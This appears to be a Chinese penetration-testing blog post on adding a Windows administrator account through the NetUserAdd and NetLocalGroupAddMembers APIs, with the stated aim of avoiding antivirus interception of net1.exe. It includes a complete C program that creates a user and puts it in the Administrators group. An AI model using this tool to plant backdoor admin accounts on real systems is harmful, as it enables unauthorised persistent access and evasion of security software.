通过API添加Windows用户
在渗透测试过程中，如果需要白利用远程桌面等服务，往往我们还需要一个知道密码的windows账户，而这个账户通常直接由net1.exe直接添加(当然也可以直接pass the hash登录rdp，略略略)，而调用这个可执行文件往往会被第三方杀软直接拦截（略略略，defender是微软自己的，不拦合法功能），这样我们就需要想另外的办法添加用户。
查文档&google(狗头)
调用NetUserAdd添加本地用户
调用NetLocalGroupAddMembers将用户添加到组
微软文档解释了这个如何通过这个函数来添加操作系统账户，第一个参数servername指定了需要添加用户的主机名，传入NULL则为本地添加，第二个参数决定了第三个参数传入的结构体，通过这个函数我们可以在windows操作系统上添加账户。
NET_API_STATUS NET_API_FUNCTION NetUserAdd(LPCWSTR servername,DWORD level,LPBYTE buf,LPDWORD parm_err);
Value | Meaning |
1 | Specifies information about the user account. The buf parameter points to a USER_INFO_1 structure. When you specify this level, the call initializes certain attributes to their default values. For more information, see the following Remarks section. |
2 | Specifies level one information and additional attributes about the user account. The buf parameter points to a USER_INFO_2 structure. |
3 | Specifies level two information and additional attributes about the user account. This level is valid only on servers. The buf parameter points to a USER_INFO_3 structure. Note that it is recommended that you use USER_INFO_4 instead. |
4 | Specifies level two information and additional attributes about the user account. This level is valid only on servers. The buf parameter points to a USER_INFO_4 structure. Windows 2000: This level is not supported. |
同理将该账户加入administrators组也是使用类似的函数，这里就不贴参数了。
NET_API_STATUS NET_API_FUNCTION NetLocalGroupAddMembers(LPCWSTR servername,LPCWSTR groupname,DWORD level,LPBYTE buf,DWORD totalentries);
#ifndef UNICODE#define UNICODE#endif#pragma comment(lib, "netapi32.lib")#include <stdio.h>#include <windows.h>#include <lm.h>int wmain(int argc, wchar_t* argv[]){USER_INFO_1 ui;DWORD dwLevel = 1;DWORD dwError = 0;NET_API_STATUS nStatus;if (argc != 3){fwprintf(stderr, L"Usage:./this.exe <username> <password>\n", argv[0]);exit(1);}ui.usri1_name = argv[1];ui.usri1_password = argv[2];ui.usri1_priv = USER_PRIV_USER;ui.usri1_home_dir = NULL;ui.usri1_comment = NULL;ui.usri1_flags = UF_SCRIPT;ui.usri1_script_path = NULL;nStatus = NetUserAdd(NULL,dwLevel,(LPBYTE)&ui,&dwError);if (nStatus == NERR_Success)fwprintf(stderr, L"User %s has been successfully added\n",argv[1]);elsefprintf(stderr, "A system error has occurred: %d\n", nStatus);LOCALGROUP_MEMBERS_INFO_3 account;account.lgrmi3_domainandname = argv[1];NET_API_STATUS Status = NetLocalGroupAddMembers(NULL, L"Administrators", 3, (LPBYTE)&account, 1);if (Status == NERR_Success || Status == ERROR_MEMBER_IN_ALIAS){printf("Administrators added Successfully!");}else {printf("Administrators added Failed!");}return 0;}
